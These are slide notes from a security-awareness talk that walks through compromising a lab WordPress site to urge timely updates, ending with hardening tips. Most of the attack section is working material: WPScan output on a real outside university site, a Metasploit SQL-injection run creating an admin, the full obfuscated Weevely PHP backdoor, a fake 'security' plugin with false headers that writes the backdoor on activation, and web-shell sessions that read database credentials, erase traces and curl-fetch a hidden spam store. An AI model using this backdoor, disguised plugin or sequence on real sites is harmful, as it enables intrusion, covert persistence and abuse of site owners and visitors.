Many slides have notes with extra material:
View this presentation at
http://www-personal.umich.edu/~markmont/awp/
Source files for this presentation can be downloaded from
http://www-personal.umich.edu/~markmont/awp.zip
This presentation could be much scarier if done by either a security expert or a bad guy.
This presentation is an updated but significantly cut down version of a presentation I gave for WordPress Ann Arbor in January 2014. Please see that presentation for more details, especially about what types of bad guys there are, what motivates them, and how to protect your WordPress sites.
Both security experts and bad guys will have much more time and focus than a generalist such as I am.
Bad guys have access to malware, including very sophisticated toolkits to compromise web sites, "black hat" forums, and more. Toolkits and exploits are routinely bought and sold for Bitcoin or dollars on black market sites.
This presentation uses only "good guy tools" because I don't want to use untrustworthy software or wind up on some law enforcement agency's list.
The previous presentation exploited a PHP code injection vulnerability in the W3 Total Cache plugin and start a command shell on the web server. Today's presentation will instead exploit a SQL query injection vulnerability to add a new administrative user to the WordPress site via the database.
The purpose of this presentation is to show how easy it can be to take control of a WordPress site that is not kept up to date, in order to help motivate you to keep your own WordPress sites up to date and secure.
Everything we show in this presentation is fairly basic, widely available on the Internet, and easily findable with normal web searches. This presentation does not cover any expert or advanced techniques.
Still, using anything from this presentation without authorization against sites or computers that do not belong to you is illegal and likely carries severe penalties. Don't do it.
This WordPress site is running inside a virtual machine on my laptop; it is not publicly accessible.
Everything was set up according to the instructions at wordpress.org and ubuntu.com. The only extra thing that was done was to turn on SSH to allow command-line administration.
We're using Ubuntu Server LTS because it is the most popular choice for people who run their own server.
badguy2.catseye.org
The attacking system is running in a second virtual machine on my laptop, and, like the target, is not publicly accessible.
We're using the latest release: Kali Linux 1.0.9, which is based on Debian 7 "Wheezy".
Kali Linux, http://www.kali.org/
We're actually going to use only three of the tools Kali Linux provides:
Instead of using Kali Linux, we could just download and install WPScan, Metasploit, and Weevely. This requires only a tiny bit more technical knowledge than using Kali Linux does, plus a bit more configuration work, and is very do-able. We're just being extra lazy.
To find out how to use WPScan, run it with the --help
option:
root@badguy2: ~# wpscan --help _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.5.1 Sponsored by the RandomStorm Open Source Initiative @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ Help : Some values are settable in a config file, see the example.conf.json --update Update to the database to the latest version. --url | -u <target url> The WordPress URL/domain to scan. --force | -f Forces WPScan to not check if the remote site is running WordPress. --enumerate | -e [option(s)] Enumeration. option : u usernames from id 1 to 10 u[10-20] usernames from id 10 to 20 (you must write [] chars) p plugins vp only vulnerable plugins ap all plugins (can take a long time) tt timthumbs t themes vt only vulnerable themes at all themes (can take a long time) Multiple values are allowed : "-e tt,p" will enumerate timthumbs and plugins If no option is supplied, the default is "vt,tt,u,vp" --exclude-content-based "<regexp or string>" Used with the enumeration option, will exclude all occurrences based on the regexp or string supplied. You do not need to provide the regexp delimiters, but you must write the quotes (simple or double). --config-file | -c <config file> Use the specified config file, see the example.conf.json. --user-agent | -a <User-Agent> Use the specified User-Agent. --cookie <String> String to read cookies from. --random-agent | -r Use a random User-Agent. --follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not --batch Never ask for user input, use the default behaviour. --no-color Do not use colors in the output. --wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed. --wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed --proxy <[protocol://]host:port> Supply a proxy. HTTP, SOCKS4 SOCKS4A and SOCKS5 are supported. If no protocol is given (format host:port), HTTP will be used. --proxy-auth <username:password> Supply the proxy login credentials. --basic-auth <username:password> Set the HTTP Basic authentication. --wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute. --username | -U <username> Only brute force the supplied username. --threads | -t <number of threads> The number of threads to use when multi-threading requests. --cache-ttl <cache-ttl> Typhoeus cache TTL. --request-timeout <request-timeout> Request Timeout. --connect-timeout <connect-timeout> Connect Timeout. --max-threads <max-threads> Maximum Threads. --help | -h This help screen. --verbose | -v Verbose output. Examples : -Further help ... ruby ./wpscan.rb --help -Do 'non-intrusive' checks ... ruby ./wpscan.rb --url www.example.com -Do wordlist password brute force on enumerated users using 50 threads ... ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50 -Do wordlist password brute force on the 'admin' username only ... ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin -Enumerate installed plugins ... ruby ./wpscan.rb --url www.example.com --enumerate p -Enumerate installed themes ... ruby ./wpscan.rb --url www.example.com --enumerate t -Enumerate users ... ruby ./wpscan.rb --url www.example.com --enumerate u -Enumerate installed timthumbs ... ruby ./wpscan.rb --url www.example.com --enumerate tt -Use a HTTP proxy ... ruby ./wpscan.rb --url www.example.com --proxy 127.0.0.1:8118 -Use a SOCKS5 proxy ... (cURL >= v7.21.7 needed) ruby ./wpscan.rb --url www.example.com --proxy socks5://127.0.0.1:9000 -Use custom content directory ... ruby ./wpscan.rb -u www.example.com --wp-content-dir custom-content -Use custom plugins directory ... ruby ./wpscan.rb -u www.example.com --wp-plugins-dir wp-content/custom-plugins -Update the DB ... ruby ./wpscan.rb --update -Debug output ... ruby ./wpscan.rb --url www.example.com --debug-output 2>debug.log See README for further information. root@badguy2: ~#
Let's look at http://arc.research.umich.edu/
root@badguy2: ~# wpscan --url arc.research.umich.edu _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.5.1 Sponsored by the RandomStorm Open Source Initiative @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ [+] URL: http://arc.research.umich.edu/ [+] Started: Thu Oct 2 21:32:30 2014 [+] robots.txt available under: 'http://arc.research.umich.edu/robots.txt' [!] The WordPress 'http://arc.research.umich.edu/readme.html' file exists [+] Interesting header: LINK: <http://arc.research.umich.edu/?p=12>; rel=shortlink [+] Interesting header: SERVER: Apache [+] XML-RPC Interface available under: http://arc.research.umich.edu/xmlrpc.php [!] Upload directory has directory listing enabled: http://arc.research.umich.edu/wp-content/uploads/ [+] WordPress version 3.8.1 identified from meta generator [!] 9 vulnerabilities identified from the version number [!] Title: WordPress 1.0 - 3.8.1 administrator exploitable blind SQLi Reference: https://wpvulndb.com/vulnerabilities/5963 Reference: https://security.dxw.com/advisories/sqli-in-wordpress-3-6-1/ [!] Title: WordPress 3.7.1 & 3.8.1 Potential Authentication Cookie Forgery Reference: https://wpvulndb.com/vulnerabilities/5964 Reference: https://labs.mwrinfosecurity.com/blog/2014/04/11/wordpress-auth-cookie-forgery/ Reference: https://github.com/WordPress/WordPress/commit/78a915e0e5927cf413aa6c2cef2fca3dc587f8be Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0166 Reference: http://osvdb.org/105620 [i] Fixed in: 3.8.2 [!] Title: WordPress 3.7.1 & 3.8.1 Privilege escalation: contributors publishing posts Reference: https://wpvulndb.com/vulnerabilities/5965 Reference: https://github.com/wpscanteam/wpscan/wiki/CVE-2014-0165 Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0165 Reference: http://osvdb.org/105630 [i] Fixed in: 3.8.2 [!] Title: WordPress Plupload Unspecified XSS Reference: https://wpvulndb.com/vulnerabilities/5966 Reference: https://secunia.com/advisories/57769 Reference: http://osvdb.org/105622 [i] Fixed in: 3.8.2 [!] Title: WordPress 3.5 - 3.7.1 XML-RPC DoS Reference: https://wpvulndb.com/vulnerabilities/7526 Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/ Reference: http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/ Reference: http://www.breaksec.com/?p=6362 Reference: http://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos [i] Fixed in: 3.9.2 [!] Title: WordPress 2.0.3 - 3.9.1 (except 3.7.4 / 3.8.4) CSRF Token Brute Forcing Reference: https://wpvulndb.com/vulnerabilities/7528 Reference: https://core.trac.wordpress.org/changeset/29384 Reference: https://core.trac.wordpress.org/changeset/29408 Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5204 Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5205 [i] Fixed in: 3.9.2 [!] Title: WordPress 3.0 - 3.9.1 Authenticated Cross-Site Scripting (XSS) in Multisite Reference: https://wpvulndb.com/vulnerabilities/7529 Reference: https://core.trac.wordpress.org/changeset/29398 Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5240 [i] Fixed in: 3.9.2 [!] Title: WordPress 3.6 - 3.9.1 XXE in GetID3 Library Reference: https://wpvulndb.com/vulnerabilities/7530 Reference: https://github.com/JamesHeinrich/getID3/commit/dc8549079a24bb0619b6124ef2df767704f8d0bc Reference: http://getid3.sourceforge.net/ Reference: http://wordpress.org/news/2014/08/wordpress-3-9-2/ Reference: http://lab.onsec.ru/2014/09/wordpress-392-xxe-through-media-upload.html Reference: https://github.com/ONsec-Lab/scripts/blob/master/getid3-xxe.wav Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-2053 [i] Fixed in: 3.9.2 [!] Title: WordPress 3.4.2 - 3.9.2 Does Not Invalidate Sessions Upon Logout Reference: https://wpvulndb.com/vulnerabilities/7531 Reference: http://whiteoaksecurity.com/blog/2012/12/17/cve-2012-5868-wordpress-342-sessions-not-terminated-upon-explicit-user-logout Reference: http://blog.spiderlabs.com/2014/09/leveraging-lfi-to-get-full-compromise-on-wordpress-sites.html Reference: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-5868 [i] Fixed in: 4.0 [+] WordPress theme in use: orci - v0.1.0 [+] Name: orci - v0.1.0 | Location: http://arc.research.umich.edu/wp-content/themes/orci/ [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/themes/orci/ | Style URL: http://arc.research.umich.edu/wp-content/themes/orci/style.css | Theme Name: ORCI | Theme URI: http://orci.research.umich.edu/ | Description: Child theme for the Twenty Eleven theme | Author: John Pariseau | Author URI: http://example.com/about/ [+] Detected parent theme: twentyeleven - v1.7 [+] Name: twentyeleven - v1.7 | Location: http://arc.research.umich.edu/wp-content/themes/twentyeleven/ | Readme: http://arc.research.umich.edu/wp-content/themes/twentyeleven/readme.txt | Style URL: http://arc.research.umich.edu/wp-content/themes/twentyeleven/style.css | Theme Name: Twenty Eleven | Theme URI: http://wordpress.org/themes/twentyeleven | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a c... | Author: the WordPress team | Author URI: http://wordpress.org/ [+] Enumerating plugins from passive detection ... | 8 plugins found: [+] Name: contact-form-7 - v3.9.3 | Location: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/ | Readme: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/readme.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/contact-form-7/ [!] Title: Contact Form 7 & Old WP Versions - Crafted File Extension Upload Remote Code Execution Reference: https://wpvulndb.com/vulnerabilities/7021 Reference: http://packetstormsecurity.com/files/125018/ Reference: http://seclists.org/fulldisclosure/2014/Feb/0 Reference: http://osvdb.org/102776 [+] Name: jquery-collapse-o-matic - v1.5.7 | Location: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/ | Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/readme.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-collapse-o-matic/ [+] Name: jquery-colorbox - v4.6 | Location: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/ | Readme: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/readme.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/jquery-colorbox/ [+] Name: mailchimp - v1.4.1 | Location: http://arc.research.umich.edu/wp-content/plugins/mailchimp/ | Readme: http://arc.research.umich.edu/wp-content/plugins/mailchimp/readme.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/mailchimp/ [+] Name: page-list - v4.2 | Location: http://arc.research.umich.edu/wp-content/plugins/page-list/ | Readme: http://arc.research.umich.edu/wp-content/plugins/page-list/readme.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/page-list/ [+] Name: social - v2.11 | Location: http://arc.research.umich.edu/wp-content/plugins/social/ | Readme: http://arc.research.umich.edu/wp-content/plugins/social/README.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/social/ [+] Name: wp-paginate - v1.2.4 | Location: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/ | Readme: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/readme.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/wp-paginate/ [+] Name: youtube-shortcode - v1.8.5 | Location: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/ | Readme: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/readme.txt [!] Directory listing is enabled: http://arc.research.umich.edu/wp-content/plugins/youtube-shortcode/ [+] Finished: Thu Oct 2 21:34:06 2014 [+] Memory used: 5.469 MB [+] Elapsed time: 00:01:36 root@badguy2: ~#
This is a WordPress site I use a lot at work.
WPScan can tell that the server runs Apache, but not what version.
Despite the #1 thing for keeping people from breaking into your site being to always keep up-to-date with the latest versions of everything, this site is still running WordPress 3.8.1. That's very bad; unfortunately, it's not uncommon.
WPScan found nine security vulnerabilities. Many are probably not anything that would be useful to the casual attacker, but some might be. Read the details at each of the reference URLs that WPScan provides to find out more.
WPScan found one theme ("orci", which it can tell is a child theme of Twenty Eleven), and eight plugins. There are likely more which could be found by running WPScan with an exhaustive plugin search ("wpscan --enumerate ap
").
Note the web server configuration that permits the content of many directories to be listed — this is potentially very useful to an attacker.
If we wanted to attack this site, WPScan has given us a lot of potential avenues to explore.
Now, our intended target, http://myblog2.catseye.org/
Script started on Thu 02 Oct 2014 09:49:02 PM EDT
root@badguy2: ~# wpscan --url myblog2.catseye.org
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.5.1
Sponsored by the RandomStorm Open Source Initiative
@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_
_______________________________________________________________
[+] URL: http://myblog2.catseye.org/
[+] Started: Thu Oct 2 21:49:18 2014
[!] The WordPress 'http://myblog2.catseye.org/readme.html' file exists
[+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu)
[+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.4
[+] XML-RPC Interface available under: http://myblog2.catseye.org/xmlrpc.php
[+] WordPress version 4.0 identified from meta generator
[+] WordPress theme in use: twentyfourteen - v1.2
[+] Name: twentyfourteen - v1.2
| Location: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/
| Style URL: http://myblog2.catseye.org/wp-content/themes/twentyfourteen/style.css
| Theme Name: Twenty Fourteen
| Theme URI: http://wordpress.org/themes/twentyfourteen
| Description: In 2014, our default theme lets you create a responsive magazine website with a sleek, modern des...
| Author: the WordPress team
| Author URI: http://wordpress.org/
[+] Enumerating plugins from passive detection ...
| 1 plugins found:
[+] Name: custom-contact-forms - v5.1.0.3
| Location: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/
| Readme: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/readme.txt
[!] Directory listing is enabled: http://myblog2.catseye.org/wp-content/plugins/custom-contact-forms/
[!] Title: Custom Contact Forms <= 5.0.0.1 - Cross Site Scripting
Reference: https://wpvulndb.com/vulnerabilities/6296
Reference: http://packetstormsecurity.com/files/112616/
[!] Title: Custom Contact Forms <= 5.1.0.3 Database Import/Export
Reference: https://wpvulndb.com/vulnerabilities/7542
Reference: http://blog.sucuri.net/2014/08/database-takeover-in-custom-contact-forms.html
Reference: http://www.rapid7.com/db/modules/auxiliary/admin/http/wp_custom_contact_forms
[i] Fixed in: 5.1.0.4
[+] Finished: Thu Oct 2 21:49:21 2014
[+] Memory used: 2.191 MB
[+] Elapsed time: 00:00:03
root@badguy2: ~# exit
WPScan was not only able to tell what web server software is being used, but also the versions of both Apache HTTP Server and PHP.
WPScan found the Custom Contacts Form plugin and correctly noticed a database vulnerablity in it.
Metasploit is available in four editions:
To run the Metasploit web interface under Kali Linux, type the following commands:
service postgresql start service metasploit start
Wait a few minutes for Metasploit to start and create its databases, then go to http://badguy2.catseye.org:3790/
Everything we're doing in this presentation can work with any of the editions. For this demo, we're using Metasploit Community.
Basic steps:
Steps 1 and 2 have already been done, we'll start with step 3.
A project is like a container that keeps track of systems that are being tested, and results of the tests.
Metasploit web interface - main page:
This is the page a user gets after they create a Metasploit user account, request and enter a product key, and log in.
Click on the New Project button to begin.
Just enter a name for the project and either the networks or IP addresses you'll be testing and then click the Create Project button.
To speed things up, since we're working with a single target, we'll specify just its IP address instead of specifying a network range.
Project overview page:
Normally, we'd let Metasploit do a scan and then use the "Exploit" button to attempt to break into the sites that it found. But, since we know from WPScan that this site is running a vulnerable plugin, to save time, click on "Modules" in the top menu and select "Search...". Then search for "wordpress".
We're actually using Metasploit here far below the level of complexity for which it is intended.
List of Metasploit WordPress exploit modules:
Click on "WordPress custom-contact-forms Plugin SQL Upload".
WordPress has a lot of vulnerabilities that are not listed here. If we're interested in anything not shown, we can create an Metasploit module for it ourselves, or we could exploit it outside of Metasploit, either by hand or by using a different tool.
Although there are a lot of options that can be set, all we need to do is make sure that the IP address of our target system is correct and then click "Run Module". Metasploit will then attempt to create a new administrator user for us on the target WordPress site.
To make everything fit on this slide, I've edited out the fields that normally show up in the "Module Options" section.
Running the exploit:
That's all there is to it! The WordPress site has now been compromised, and we should be able to log in as an administrator.
Note that the exploit module first determined the WordPress database table prefix, then uploaded SQL queries to create the administrator account.
The most effective way to make things harder for the attacker at this point is to have the login page not be accessible. For example, if the attacker is in Vietnam but the login page is only accessible from IP addresses in Ann Arbor, the attacker would need to use a VPN, use the vulnerability in CCF to steal session information from the WordPress database, or leverage another SQL-based avenue of attack.
As you can see, the user created by the exploit is an administrator can can do anything the owner of the blog can do via WordPress.
But, it's pretty obvious that the compromise has taken place. If the real owner of the site checks, they'll see our account, delete it, and probably upgrade everything.
weevely generate
and give it the password you want to use to control access to the backdoor:
root@badguy2:~# weevely generate L3tM3In [generate.php] Backdoor file 'weevely.php' created with password 'L3tM3In' root@badguy2:~#
There are dozens of other PHP shells and backdoors; we chose Weevely just because it was convenient and included with Kali Linux.
Here's the obfuscated PHP code (weevely.php
) that Weevely created for us to upload:
<?php $puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX"; $qdqy = str_replace("v","","svtvrv_rveplvavce"); $gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe"; $oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4"; $dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30="; $itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode"); $vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn"); $qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh(); ?>
This is valid PHP code that accepts a command from the attacker, verifies the attacker's password, and, if it checks out, runs the command.
If we put this weevely.php
file in the main WordPress directory, then we'd be able to access our back door at http://myblog2.catseye.org/weevely.php (although we'd have to use Weevely to access it there, going there with a web browser will just show a blank page).
In addition to being obfuscated, the code has some random elements that are unique to each piece of code Weevely generates — this helps to prevent anti-virus software and other malware scanners from detecting the code once it is uploaded.
So how do we get the weevely.php
file onto the target web server?
.php
files.wp-options.php
(which isn't a part of WordPress) to help it blend in with legitimate files.Other choices for where to install the backdoor include in a hidden directory that we create, or deep in the wp-content/uploads
directory.
We want to avoid putting the backdoor in the wp-admin
or wp-includes
directory as these directories can be deleted during WordPress upgrades.
Our backdoor-delivering plugin looks like this:
<?php /* Plugin Name: WP Elite Security Pro Description: WP Elite Security Pro addresses over 250 potential security problems to keep your WordPress site secure like nothing else can. Includes the Elite Guardian monitoring techology to keep you informed about attacks against your site. Version: 1.3.1 Author: WP Trust Assurance, Inc. Author URI: http://wordpress.org/plugins/wp-elite-security License: GPL3 */ function wesp_activate() { $str = <<<'ENDOFSTRING' /** * Enhanced Security Keys and Salts. * * These are unique to each WordPress site and are generated automatically * during installation and upgrades. They should not be changed manually. * * @since 4.0.0 */ $puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX"; $qdqy = str_replace("v","","svtvrv_rveplvavce"); $gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe"; $oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4"; $dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30="; $itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode"); $vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn"); $qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh(); ENDOFSTRING; $str = "<" . "?php\n" . $str . "\n?" . ">\n"; $file = fopen( '/var/www/html/wp-options.php', 'w' ); fwrite( $file, $str ); fclose( $file ); } register_activation_hook( __FILE__, 'wesp_activate' ); ?>
The header of the plugin is full of lies, in case someone loads the WordPress plugin page during the brief amount of time we will have the plugin installed.
There is only one function, which we arrange to get called when the plugin is activated. This function creates the new file /var/www/html/wp-options.php
and writes the Weevely backdoor into it.
Note that we add some comments — which are all lies — to the beginning of the backdoor file to make it seem more innocuous, in case the owner of the site finds and looks at it. Security keys and salts shouldn't be messed with and look pretty similar to obfuscated PHP code, right?
Also note that we removed the PHP tags from the Weevely file, and we add them in afterward — this is to prevent them from being acted on prematurely when the plugin itself is running.
Zip up our wp-elite-security plugin, upload it, and activate it:
Now that our backdoor is installed, we can connect from the attacking machine directly to the web server to run any commands we want:
root@badguy2: ~# weevely http://myblog2.catseye.org/wp-options.php L3tM3In ________ __ | | | |----.----.-.--.----' |--.--. | | | | -__| -__| | | -__| | | | |________|____|____|___/|____|__|___ | v1.1 |_____| Stealth tiny web shell [+] Browse filesystem, execute commands or list available modules with ':help' [+] Current session: 'sessions/myblog2.catseye.org/wp-options.session' www-data@myblog2:/var/www/html $ ls -l total 184 -rw-r--r-- 1 www-data www-data 418 Sep 24 2013 index.php -rw-r--r-- 1 www-data www-data 19930 Apr 9 19:50 license.txt -rw-r--r-- 1 www-data www-data 7192 Apr 21 00:42 readme.html -rw-r--r-- 1 www-data www-data 4951 Aug 20 13:30 wp-activate.php drwxr-xr-x 9 www-data www-data 4096 Sep 4 12:25 wp-admin -rw-r--r-- 1 www-data www-data 271 Jan 8 2012 wp-blog-header.php -rw-r--r-- 1 www-data www-data 4946 Jun 5 00:38 wp-comments-post.php -rw-r--r-- 1 www-data www-data 2746 Aug 26 15:59 wp-config-sample.php -rw-rw-rw- 1 www-data www-data 3036 Oct 2 20:14 wp-config.php drwxr-xr-x 6 www-data www-data 4096 Oct 3 14:30 wp-content -rw-r--r-- 1 www-data www-data 2956 May 13 00:39 wp-cron.php drwxr-xr-x 12 www-data www-data 4096 Sep 4 12:25 wp-includes -rw-r--r-- 1 www-data www-data 2380 Oct 24 2013 wp-links-opml.php -rw-r--r-- 1 www-data www-data 2714 Jul 7 12:42 wp-load.php -rw-r--r-- 1 www-data www-data 33043 Aug 27 01:32 wp-login.php -rw-r--r-- 1 www-data www-data 8252 Jul 17 05:12 wp-mail.php -rw-r--r-- 1 www-data www-data 856 Oct 3 14:33 wp-options.php -rw-r--r-- 1 www-data www-data 11115 Jul 18 05:13 wp-settings.php -rw-r--r-- 1 www-data www-data 26256 Jul 17 05:12 wp-signup.php -rw-r--r-- 1 www-data www-data 4026 Oct 24 2013 wp-trackback.php -rw-r--r-- 1 www-data www-data 3032 Feb 9 2014 xmlrpc.php www-data@myblog2:/var/www/html $ :system.info [system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses' [system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses.new' +--------------------+------------------------------------------------------------------------------------+ | client_ip | 192.168.4.144 | | max_execution_time | 30 | | script | /wp-options.php | | check_tor | False | | open_basedir | | | hostname | myblog2 | | php_self | /wp-options.php | | whoami | www-data | | uname | Linux myblog2 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 | | safe_mode | 0 | | php_version | 5.5.9-1ubuntu4.4 | | release | Ubuntu 14.04.1 LTS | | dir_sep | / | | os | Linux | | cwd | /var/www/html | | document_root | /var/www/html | +--------------------+------------------------------------------------------------------------------------+ www-data@myblog2:/var/www/html $
You can type :help
to get a list of all of the built-in commands Weevely supports. Anything that does not begin with a colon is run as a command on the target web server.
Now that we know our backdoor works, cover our tracks by doing the following using our WordPress administrator account:
We can delete the administrator user created by the exploit by directly modifying the WordPress database. We can create another administrator user later, if needed.
www-data@myblog2:/var/www/html $ grep DB_ wp-config.php define('DB_NAME', 'wordpress'); define('DB_USER', 'wordpress'); define('DB_PASSWORD', 'PexpD&F'); define('DB_HOST', 'localhost'); define('DB_CHARSET', 'utf8'); define('DB_COLLATE', ''); www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -h ost localhost -dbms mysql -query "select * from wordpress.wp_users" +---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+ | 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org | | 2014-10-03 00:15:16 | | 0 | admin | | 2 | dimuHQRery | $P$BS0KP5qd5Vhs4MVZ7ZIoMcIU0R2AjB/ | | | | 0000-00-00 00:00:00 | | 0 | | +---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+ www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_users where ID = 2" [sql.console] No data returned, check credentials and dbms availability. www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_usermeta where user_id = 2" [sql.console] No data returned, check credentials and dbms availability. www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "select * from wordpress.wp_users" +---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+ | 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org | | 2014-10-03 00:15:16 | | 0 | admin | +---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+ www-data@myblog2:/var/www/html $
We can read the database credentials from wp-config.php
and use these to get any information we want from the WordPress database.
Let's download some HTML files onto the WordPress server to set up an online store in a hidden directory.
The URL for our store will be http://myblog2.catseye.org/wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ curl -s -O http://www-personal.umich.edu/~markmont/awp/store.tar www-data@myblog2:/var/www/html $ tar -C /var/www/html -x -f store.tar www-data@myblog2:/var/www/html $ rm store.tar www-data@myblog2:/var/www/html $ mv store wp-content/uploads/2014/10/.store www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10/.store index.html shopkeepers.jpg www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10 www-data@myblog2:/var/www/html $ [!] Exiting. Bye ^^ root@badguy2: ~#
Now we're ready to send 15 million emails with the URL to our store!
This is the end of the presentation, but the slides that follow contain information on how to secure your WordPress site as well as reference material.
Updating:
"But I don't want to break anything!"
You can download for free the BitNami Stack for WordPress from the Mac App Store for a very easy way to run a development WordPress site on your laptop.
A bit more work is using WAMP (Windows) or MAMP (Mac).
Or, for the most control, you can set up a server running Linux as a virtual machine on your laptop and use either a WordPress appliance or roll your own server.
Password concerns:
Password concerns:
Ars Technica published an article in March 2013 showing how easy it is to crack passwords.
If choosing words, don't use any phrase — make sure the words are unrelated to each other. Even obscure phrases are easy to crack.
You are protecting two things: make your password hard to guess, and if one of you passwords get stolen (from this or another site) make sure that the attacker cannot use it for anything else.
Because password cracking is so easy, it is also a good idea to limit where users can log in from. Do you really need to log in to your site — without using a VPN — from a coffee shop in Vietnam?
Hosting and SSL:
Don't just select a host based on cost!
Web server and filesystem:
wp-includes
and wp-admin/includes
.htaccess
files.txt
files and README
files.robots.txt
